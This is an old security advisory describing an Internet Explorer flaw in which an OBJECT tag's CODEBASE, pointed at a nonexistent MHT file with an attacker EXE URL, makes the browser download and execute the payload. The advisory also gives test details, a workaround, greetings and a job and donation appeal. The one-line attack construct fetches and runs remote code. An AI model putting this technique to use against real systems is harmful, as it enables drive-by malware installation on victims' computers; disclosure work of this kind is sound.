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MHTML Redirection Leads to Downloading EXE and Executing




MHTML Redirection Leads to Downloading EXE and Executing

[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.

OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]
A vulnerability in Internet Explorer is found: any attacker that can reach 
MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and 
execute it.

[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip

[technical details]
There is a feature in Internet Explorer when it tries to retrieve a file 
embedded in an MHT file, like:
mhtml:[Mhtml_File_Url]![Original_Resource_Url]
If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will 
try to download [Original_Resource_Url] and return the downloaded content.

It's like as HTTP redirection.

And CODEBASE execution is a URL-based security check.
(Liu Die Yu's http://continue.to/trie )

So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with 
unused CLSID to:
mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
and then, IE will download [Attaker_PayloadEXE_Url] and execute it.

[Workaround]
Disable Active Scripting in INTERNET zone.

[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.

-----
all mentioned resources can always be found at UMBRELLA.MX.TC

[people]
LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[message]
A wise man learns from other's mistakes; a fool learns from his own.

[Employment]
I would like to work professionally as a security researcher/bug finder. 

See my resume at my site. I am very eager to work, flexible, and 
extremely productive. I have a top notch resume, with credentials 
from leading bug finders. I am willing to work per contract, relocate, 
or telecommute. 
 
[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my 
security work - so, I don't have a computer of my own. Please consider about 
donating at:
http://clik.to/donatepc